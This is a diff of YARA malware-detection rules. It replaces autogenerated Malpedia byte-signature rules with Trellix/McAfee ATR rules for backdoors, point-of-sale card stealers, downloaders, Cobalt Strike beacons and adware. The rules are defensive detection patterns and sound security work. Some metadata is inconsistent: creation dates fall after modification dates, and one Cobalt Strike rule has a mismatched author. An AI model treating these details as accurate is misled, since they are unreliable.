+		malware_family = "Backdoor:W32/Dridex"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 8d742434 c684245803000069 e8???????? 8b54241c 53 e8???????? 59 }
-		$sequence_1 = { 55 8bec 51 8365fc00 56 0528010000 }
-		$sequence_2 = { ff750c 8d7de0 ff7508 e8???????? 8b45e8 8945f0 8b45ec }
-		$sequence_3 = { 8d44247c 50 c684245c03000070 e8???????? 83c40c c684245003000071 8b4c241c }
-		$sequence_4 = { 6a00 eb8b 8b7d0c 8b0f 8b4514 394810 7641 }
-		$sequence_5 = { 55 8bec 83e4f8 6aff 687e634c00 64a100000000 }
-		$sequence_6 = { 8901 33c0 40 e9???????? 8365d800 c745dc34ad4800 a1???????? }
-		$sequence_7 = { ff75ec 8d45e0 53 50 8bc6 e8???????? 8b18 }
-		$sequence_8 = { eb05 a1???????? 8b4dfc 33cd e8???????? c9 c3 }
-		$sequence_9 = { 3bc3 0f8686010000 8b87d0000000 6a64 99 5e f7fe }
+		$pdb = "\\c0da\\j.pdb"
 
 	condition:
-		7 of them and filesize <294912
+		uint16(0)==0x5a4d and filesize <400KB and any of them
 }
-rule MALPEDIA_Win_Cookiebag_Auto : FILE
+rule TRELLIX_ARC_Rietspoof_Loader : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c260d983-1fb1-5187-bb1e-a30d172d6701"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cookiebag"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cookiebag_auto.yar#L1-L131"
-		license_url = "N/A"
-		logic_hash = "74595c8c00c27ebea5fcf6294fdb19b48126392d3364dc5a9bcc9f574cb25599"
+		description = "Rule to detect the Rietspoof loader"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "f306e381-e2ae-528e-937b-aced72356d77"
+		date = "2024-09-01"
+		modified = "2020-08-14"
+		reference = "https://blog.avast.com/rietspoof-malware-increases-activity"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_rietspoof_loader.yar#L1-L22"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "d72b58ff452070e03d0b25bc433ef5c677df77dd440adc1ecdb592cee24235fb"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		malware_type = "ransomware"
+		malware_family = "Loader:W32/Rietspoof"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 0f8e39050000 8a442437 bf???????? 88442424 83c9ff 33c0 33ed }
-		$sequence_1 = { 51 8b4c2414 55 e8???????? 84c0 7412 8b442418 }
-		$sequence_2 = { 51 e8???????? 83c404 eb1d 8b4608 8b7604 3bf3 }
-		$sequence_3 = { 50 53 52 e8???????? 8bce e8???????? 8b4c2428 }
-		$sequence_4 = { 83c1fe 51 e8???????? 83c404 8b4c242c 897c243c 3bcf }
-		$sequence_5 = { e8???????? 68???????? e8???????? 83c404 8bd8 8dbe14010000 6a01 }
-		$sequence_6 = { 895c2428 e8???????? 84c0 7427 8b7c2418 8bcd }
-		$sequence_7 = { 85c0 7454 8b87dc000000 85c0 764a 8b44240c }
-		$sequence_8 = { e8???????? 83c414 b001 5f 5e c20400 5f }
-		$sequence_9 = { 6a01 8d4c241c c7442444ffffffff e8???????? 8b4c2438 64890d00000000 }
+		$x1 = "\\Work\\d2Od7s43\\techloader\\loader" fullword ascii
 
 	condition:
-		7 of them and filesize <311296
+		uint16(0)==0x5a4d and all of them
 }
-rule MALPEDIA_Win_Webc2_Yahoo_Auto : FILE
+rule TRELLIX_ARC_Backdoor_Kankan_Pdb : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "63230a4f-7913-5b93-bb9a-30d89db03d73"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_yahoo"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.webc2_yahoo_auto.yar#L1-L118"
-		license_url = "N/A"
-		logic_hash = "f89dfba6353885aa09b69faf5df0db1655d3acae8a14a8bbfd9acb6fd6fd17df"
+		description = "Rule to detect kankan PDB"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "6910ecc7-3c31-569b-a7ff-2dcbccff88f9"
+		date = "2013-08-01"
+		modified = "2020-08-14"
+		reference = "https://threatpoint.checkpoint.com/ThreatPortal/threat?threatType=malwarefamily&threatId=650"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_backdoor_kankan_pdb.yar#L1-L27"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "73f9e28d2616ee990762ab8e0a280d513f499a5ab2cae9f8cf467701f810b98a"
+		logic_hash = "3d2e45631dfca0e76e98eee4bb5c4ce1631906f497c052d8c41cc37637cb2760"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:W32/Kankan"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 59 7513 ff15???????? 8986a0841e00 }
-		$sequence_1 = { 56 ff15???????? 802000 56 e8???????? }
-		$sequence_2 = { 53 50 50 53 ff750c ff15???????? 57 }
-		$sequence_3 = { 39be9c841e00 59 7513 ff15???????? 8986a0841e00 33c0 }
-		$sequence_4 = { c745fc01000000 aa e8???????? 59 8d85f4d7ffff 50 8d45f8 }
-		$sequence_5 = { 50 8d45f8 50 8d85f4afffff }
-		$sequence_6 = { 8b7518 83c414 8d85fcd7ffff 8bcb }
-		$sequence_7 = { 8b4d08 e8???????? 85c0 53 }
-		$sequence_8 = { 59 50 ff75f8 ff75fc ffb69c841e00 ff15???????? }
-		$sequence_9 = { 8d85c8fcffff 68???????? 50 e8???????? 83c410 85c0 7466 }
+		$pdb = "\\Projects\\OfficeAddin\\INPEnhSvc\\Release\\INPEnhSvc.pdb"
+		$pdb1 = "\\Projects\\OfficeAddin\\OfficeAddin\\Release\\INPEn.pdb"
+		$pdb2 = "\\Projects\\OfficeAddinXJ\\VOCEnhUD\\Release\\VOCEnhUD.pdb"
 
 	condition:
-		7 of them and filesize <8060928
+		uint16(0)==0x5a4d and filesize <500KB and any of them
 }
-rule MALPEDIA_Win_Shylock_Auto : FILE
+rule TRELLIX_ARC_Rovnix_Downloader : DOWNLOADER
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c0c6612f-064a-5f55-82bb-f58e63a548a1"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shylock"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.shylock_auto.yar#L1-L134"
-		license_url = "N/A"
-		logic_hash = "2cab0a97d5d39d5cf87c312cbde6ff184fa1776200cc626b918f5dce9951a83d"
+		description = "Rovnix downloader with sinkhole checks"
+		author = "Intel Security"
+		id = "d51f8f73-7a3a-5ccf-9122-86061b5399f1"
+		date = "2024-09-01"
+		modified = "2020-08-14"
+		reference = "https://blogs.mcafee.com/mcafee-labs/rovnix-downloader-sinkhole-time-checks/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_Rovnix.yar#L1-L38"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "52cde40c95436129b7d48b4bd5e78b66deb84fdc84a76cc9ac72f24e0777e540"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 43
+		tags = "DOWNLOADER"
+		malware_type = "downloader"
+		malware_family = "Downloader:W32/Rovnix"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { e8???????? 8d8534ffffff 50 b8???????? e8???????? 59 50 }
-		$sequence_1 = { 8db544ffffff e8???????? 8bc6 50 8d45f8 e8???????? ff30 }
-		$sequence_2 = { c22c00 0fb64001 50 8d45c8 50 8b45d4 8b30 }
-		$sequence_3 = { c745fc04010000 ff75e4 e8???????? 83c410 ff45f8 3d03010000 0f8559ffffff }
-		$sequence_4 = { e8???????? 3c01 743b 8d8588feffff 50 b8???????? e8???????? }
-		$sequence_5 = { 57 8b7d08 8b4d0c 8a4510 fc f2ae 7504 }
-		$sequence_6 = { 8945b0 8d856cffffff 50 8b45fc ff7018 ff9540ffffff 898534ffffff }
-		$sequence_7 = { 8d75f8 8bfc e8???????? 8d8504ffffff 50 ff7508 e8???????? }
-		$sequence_8 = { 51 33d2 8d5df8 e8???????? 8d45ec e8???????? 8bf8 }
-		$sequence_9 = { e8???????? e8???????? 59 59 8bf0 e8???????? 8d75fc }
+		$sink1 = "control"
+		$sink2 = "sink"
+		$sink3 = "hole"
+		$sink4 = "dynadot"
+		$sink5 = "block"
+		$sink6 = "malw"
+		$sink7 = "anti"
+		$sink8 = "googl"
+		$sink9 = "hack"
+		$sink10 = "trojan"
+		$sink11 = "abuse"
+		$sink12 = "virus"
+		$sink13 = "black"
+		$sink14 = "spam"
+		$boot = "BOOTKIT_DLL.dll"
+		$mz = { 4D 5A }
 
 	condition:
-		7 of them and filesize <630784
+		$mz in (0..2) and all of ($sink*) and $boot
 }
-rule MALPEDIA_Win_Unidentified_088_Auto : FILE
+rule TRELLIX_ARC_MALWARE_Blackpos_Pdb : POS FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "008a08cf-eb70-5951-921d-71ebeefbb775"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_088"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_088_auto.yar#L1-L127"
-		license_url = "N/A"
-		logic_hash = "edb29cf74a1f7930c182d8621bb40052ec38cc60668c8de3f80bbb2fb8759321"
+		description = "BlackPOS PDB"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "f37e1522-49c4-5369-bc2c-33b070e9eae7"
+		date = "2014-01-24"
+		modified = "2020-08-14"
+		reference = "https://en.wikipedia.org/wiki/BlackPOS_Malware"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_blackpos_pdb.yar#L1-L25"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "5a963e8aca62f3cf5872c6bff02d6dee0399728554c6ac3f5cb312b2ba7d7dbf"
+		logic_hash = "d8f3fa380ca15f0fae432849b8c16cb8a0a9d1427d3e72fbf89cbbd63b0849c9"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "POS, FILE"
+		rule_version = "v1"
+		malware_type = "pos"
+		malware_family = "Pos:W32/BlackPos"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { c642e801 894af4 83f807 75df c705????????06000000 c705????????11000000 c705????????12000000 }
-		$sequence_1 = { c705????????208d4200 c705????????62eb4100 c705????????90154200 c605????????01 c705????????10000000 c705????????20a94200 c705????????40eb4100 }
-		$sequence_2 = { c605????????01 c705????????04000000 c705????????80a94200 c705????????61e04100 c705????????30054200 c705????????00000000 }
-		$sequence_3 = { 8b10 8d4a01 8d3490 8908 8b4de4 8b5e08 }
-		$sequence_4 = { 0f8438010000 8b00 39c7 720d 48 893c24 }
-		$sequence_5 = { 8b7de4 e9???????? 8d65f4 5b 5e 5f 5d }
-		$sequence_6 = { e9???????? c705????????08000000 c705????????04000000 c605????????12 c705????????00000000 c705????????d80f4200 }
-		$sequence_7 = { c705????????a0ad4200 c705????????4ce84100 c705????????100d4200 c605????????01 c705????????04000000 }
-		$sequence_8 = { e8???????? 89d9 89c2 e8???????? 8d65f4 5b }
-		$sequence_9 = { 894c2408 89f1 89542404 895c240c e8???????? b904000000 83ec10 }
+		$pdb = "\\Projects\\Rescator\\MmonNew\\Debug\\mmon.pdb"
 
 	condition:
-		7 of them and filesize <919552
+		uint16(0)==0x5a4d and filesize <300KB and any of them
 }
-rule MALPEDIA_Win_Mariposa_Auto : FILE
+rule TRELLIX_ARC_MALW_Cobaltrike : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
+		description = "Rule to detect CobaltStrike beacon"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2a3a2192-1985-5afb-a3c8-457f3f4c729c"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mariposa"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mariposa_auto.yar#L1-L118"
-		license_url = "N/A"
-		logic_hash = "343ac33f57cd9cc9bfc1841bf1bd211734de245f417ee554220587a46ed4086f"
+		id = "a7dae4c7-672e-58fb-8542-90fa90d991a4"
+		date = "2020-07-19"
+		modified = "2021-08-30"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_cobaltstrike.yar#L1-L38"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "fc91d40c6544c7ab7c60b3cb8fc542bd4a6fac79dbe00cad8f612854f2a6dcd1"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:W32/CobaltStrike"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
+		hash1 = "f47a627880bfa4a117fec8be74ab206690e5eb0e9050331292e032cd22883f5b"
 
 	strings:
-		$sequence_0 = { 55 8bec 53 56 bb???????? 43 }
-		$sequence_1 = { ffd3 33c0 50 e8???????? 33c0 }
-		$sequence_2 = { 53 56 bb???????? 43 }
-		$sequence_3 = { 885c0cff e2f1 ba???????? 2bd6 8bdc 03da 4b }
-		$sequence_4 = { 8a1c0e 02d8 32dc fec0 885c0cff e2f1 }
-		$sequence_5 = { 8bdc 03da 4b 54 ffd3 33c0 }
-		$sequence_6 = { 885c0cff e2f1 ba???????? 2bd6 }
-		$sequence_7 = { 8a4301 8a6302 f6d0 02c4 d0f8 8a1c0e }
-		$sequence_8 = { 53 56 bb???????? 43 803b00 }
-		$sequence_9 = { 03da 4b 54 ffd3 33c0 }
+		$pattern_0 = { e9???????? eb0a b801000000 e9???????? }
+		$pattern_1 = { 3bc7 750d ff15???????? 3d33270000 }
+		$pattern_2 = { 8bd0 e8???????? 85c0 7e0e }
+		$pattern_3 = { 50 8d8d24efffff 51 e8???????? }
+		$pattern_4 = { 03b5d4eeffff 89b5c8eeffff 3bf7 72bd 3bf7 }
+		$pattern_5 = { 8b450c 8945f4 8d45f4 50 }
+		$pattern_6 = { 33c5 8945fc 8b4508 53 56 ff750c 33db }
+		$pattern_7 = { e8???????? e9???????? 833d????????01 7505 e8???????? }
+		$pattern_8 = { 53 53 8d85f4faffff 50 }
+		$pattern_9 = { 68???????? 53 50 e8???????? 83c424 }
+		$pattern_10 = { 488b4c2420 8b0401 8b4c2408 33c8 8bc1 89442408 }
+		$pattern_11 = { 488d4d97 e8???????? 4c8d9c24d0000000 418bc7 498b5b20 498b7328 498b7b30 }
+		$pattern_12 = { bd08000000 85d2 7459 ffcf 4d85ed }
+		$pattern_13 = { 4183c9ff 33d2 ff15???????? 4c63c0 4983f8ff }
+		$pattern_14 = { 49c1e002 e8???????? 03f3 4d8d349e 3bf5 7d13 }
+		$pattern_15 = { 752c 4c8d45af 488d55af 488d4d27 }
 
 	condition:
-		7 of them and filesize <311296
+		7 of them and filesize <696320
 }
-rule MALPEDIA_Win_Chinoxy_Auto : FILE
+rule TRELLIX_ARC_Alina_POS_PDB : POS FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "916e0861-f860-58c8-9808-fcfac5c4f41d"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chinoxy"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.chinoxy_auto.yar#L1-L133"
-		license_url = "N/A"
-		logic_hash = "eeb7ce09274161abdb807fd23b8c72ae21763a7e3cd9b91cd84dd2d99cf4e640"
+		description = "Rule to detect Alina POS"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "9588aa10-d5e4-55f4-998c-a01503a53d3a"
+		date = "2013-08-08"
+		modified = "2020-08-14"
+		reference = "https://www.pandasecurity.com/mediacenter/pandalabs/alina-pos-malware/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_alina_pos_pdb.yar#L1-L25"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "28b0c52c0630c15adcc857d0957b3b8002a4aeda3c7ec40049014ce33c7f67c3"
+		logic_hash = "9bb8260e3a47567e2460dd474fb74e57987e3d79eb30cdbc2a45b88a16ba1ca2"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "POS, FILE"
+		rule_version = "v1"
+		malware_type = "pos"
+		malware_family = "Pos:W32/Alina"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 8d4704 50 ff15???????? 8d8e90200000 c744241800000000 e8???????? 85c0 }
-		$sequence_1 = { 8d842424010000 50 e8???????? 8b9318040000 8d8c2428010000 51 52 }
-		$sequence_2 = { 2bcd c1e013 c1ef0d 0bc7 03ee 33c1 8bf8 }
-		$sequence_3 = { 897e18 8b4c2410 895e10 895e14 8bc6 5f 5e }
-		$sequence_4 = { e8???????? 85c0 741f 668b4c242c 6a08 66894802 50 }
-		$sequence_5 = { 8b8ef0000000 8d86e8000000 3bc8 c744241c00000000 7405 394004 7538 }
-		$sequence_6 = { 8d4c2410 6689542414 66895c2424 6689542430 66895c2438 66895c245c }
-		$sequence_7 = { 8d8ec8020000 e8???????? 8d86d4020000 8b4c240c 894004 894008 c700???????? }
-		$sequence_8 = { 894b10 03f2 8bd1 8bf8 c1e902 f3a5 8bca }
-		$sequence_9 = { 17 08cb 8291975b9c2acc 8f81509c02d5 96 9e 664e }
+		$pdb = "\\Users\\dice\\Desktop\\SRC_adobe\\src\\grab\\Release\\Alina.pdb"
 
 	condition:
-		7 of them and filesize <1138688
+		uint16(0)==0x5a4d and filesize <100KB and any of them
 }
-rule MALPEDIA_Win_Ryuk_Auto : FILE
+rule TRELLIX_ARC_Downloader_Darkmegi_Pdb : DOWNLOADER FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9762637f-3260-5c34-b846-45fb6634f5b4"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ryuk_auto.yar#L1-L425"
-		license_url = "N/A"
-		logic_hash = "b1841a1134c1a11658d85f36006ba9e8e5ed64f6492350418145712079afb53f"
+		description = "Rule to detect DarkMegi downloader based on PDB"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "3ccc3685-e05b-5620-9198-24733fb1e7eb"
+		date = "2013-03-06"
+		modified = "2020-08-14"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkmegi"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_downloader_darkmegi.yar#L1-L25"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "bf849b1e8f170142176d2a3b4f0f34b40c16d0870833569824809b5c65b99fc1"
+		logic_hash = "47faf8c5296e651f82726a6e8a7843dfa0f98e7be7257d2c03efcff550f52140"
 		score = 75
-		quality = 50
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "DOWNLOADER, FILE"
+		rule_version = "v1"
+		malware_type = "downloader"
+		malware_family = "Downloader:W32/DarkMegi"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 68???????? 6a01 6a00 6814010000 }
-		$sequence_1 = { ff15???????? 85c0 7508 6a01 ff15???????? 68???????? 6a01 }
-		$sequence_2 = { 6a08 6a18 68???????? 68???????? 68???????? ff15???????? }
-		$sequence_3 = { 754c b90b010000 66398818000035 753e 8b4508 b9???????? 2bc1 }
-		$sequence_4 = { 68???????? ff15???????? 85c0 7578 6a10 6a18 }
-		$sequence_5 = { 755d a1???????? 81b8????????50450000 754c b90b010000 66398818000035 }
-		$sequence_6 = { 68???????? ff15???????? 85c0 7542 6a28 6a18 }
-		$sequence_7 = { 68c0cf6a00 ff15???????? 6a01 ff15???????? }
-		$sequence_8 = { 7407 b801000000 eb0b eb04 }
-		$sequence_9 = { e8???????? 68e8030000 ff15???????? 68???????? e8???????? }
-		$sequence_10 = { 720f b901000000 6bd103 8b45fc c6041000 }
-		$sequence_11 = { 83c101 ba01000000 d1e2 8b45fc }
-		$sequence_12 = { 8908 895004 837df800 7709 }
-		$sequence_13 = { 89459c 8955a0 8b55a0 3b55f8 0f870b020000 }
-		$sequence_14 = { ba01000000 6bc203 8b55fc 880c02 b804000000 }
-		$sequence_15 = { ff15???????? b811000000 e9???????? e9???????? }
-		$sequence_16 = { ff15???????? 833d????????00 6a10 6a18 }
-		$sequence_17 = { 6a00 6814010000 ff7508 ff35???????? }
-		$sequence_18 = { 7407 48 85c0 7ff0 }
-		$sequence_19 = { ff15???????? b803000000 eb05 b805000000 }
-		$sequence_20 = { 2bf0 33c0 66890473 83ffff }
-		$sequence_21 = { 751b ff35???????? ff35???????? 6a01 68???????? e8???????? }
-		$sequence_22 = { eb0b 8bc1 99 f7fe }
-		$sequence_23 = { 56 ff15???????? 8bcb 8d5102 }
-		$sequence_24 = { 7714 7212 81f9d0070000 770a 85d2 }
-		$sequence_25 = { e8???????? e8???????? b9e8030000 ff15???????? }
-		$sequence_26 = { 668b02 83c202 6685c0 75f5 8d7bfe 2bd6 }
-		$sequence_27 = { 0f9fc0 5d c3 8bff 55 8bec 8b4508 }
-		$sequence_28 = { 5d c3 8bcb 8d5102 }
-		$sequence_29 = { d1fa 2bca 33c0 6689444bfe e9???????? 33c0 }
-		$sequence_30 = { 488bc3 4883c430 5b c3 48895c2408 48896c2410 4889742418 }
-		$sequence_31 = { 68???????? 53 d1fe e8???????? 83c408 8d5002 }
-		$sequence_32 = { 498bc1 c3 4053 4883ec20 8bc1 498bd8 }
-		$sequence_33 = { 50 51 e8???????? 6a00 6840420f00 52 50 }
-		$sequence_34 = { 83c602 6685c9 75f5 2bf2 68???????? 53 }
-		$sequence_35 = { f3a4 8d7afe 668b4702 8d7f02 6685c0 75f4 a1???????? }
-		$sequence_36 = { 4883c428 c3 48895c2408 57 4883ec30 8364242000 }
-		$sequence_37 = { 33c9 ba10270000 41b800100000 448d4904 ff15???????? }
-		$sequence_38 = { f7e1 8bc1 2bc2 d1e8 03c2 c1e806 6bc05a }
-		$sequence_39 = { ff15???????? 41b900300000 c744242040000000 448bc3 488bd6 488bcf }
-		$sequence_40 = { c744242802000000 4533c9 4533c0 c744242002000000 ba000000c0 }
-		$sequence_41 = { ff15???????? 488bd8 ff15???????? 83f820 7510 488bcb ff15???????? }
-		$sequence_42 = { 4533c9 4533c0 c744242003000000 ba00000040 ff15???????? 488bd8 ff15???????? }
-		$sequence_43 = { 66837f0254 750f 66837f0641 7508 }
-		$sequence_44 = { 4889442420 4c8bc6 488bd3 488bcf ff15???????? }
-		$sequence_45 = { ff15???????? 66833f4e 7516 66837f0254 750f }
-		$sequence_46 = { 84c0 746c e8???????? 488d0d63080000 e8???????? e8???????? }
+		$pdb = "\\RKTDOW~1\\RKTDRI~1\\RKTDRI~1\\objchk\\i386\\RktDriver.pdb"
 
 	condition:
-		7 of them and filesize <7450624
+		uint16(0)==0x5a4d and filesize >20000KB and any of them
 }
-rule MALPEDIA_Win_Ironwind_Auto : FILE
+rule TRELLIX_ARC_Malw_Browser_Fox_Adware : ADWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "59e0122b-e237-5b83-a993-a2711164e0ad"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ironwind"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ironwind_auto.yar#L1-L133"
-		license_url = "N/A"
-		logic_hash = "db36742cc3e5372580f85bcac0b5325edc83e1defe6a3dbe06584de3a3fb0586"
+		description = "Rule to detect Browser Fox Adware based on the PDB reference"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "67d20c3a-4e9d-5fbf-b26a-d7b5fb270d12"
+		date = "2015-01-15"
+		modified = "2020-08-14"
+		reference = "https://www.sophos.com/en-us/threat-center/threat-analyses/adware-and-puas/Browse%20Fox.aspx"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_browser_fox_adware.yar#L1-L25"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "c6f3d6024339940896dd18f32064c0773d51f0261ecbee8b0534fdd9a149ac64"
+		logic_hash = "462a05de46ec0d710cac80a05d4935279a43f49cbd5ef49c072f277982a76fce"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
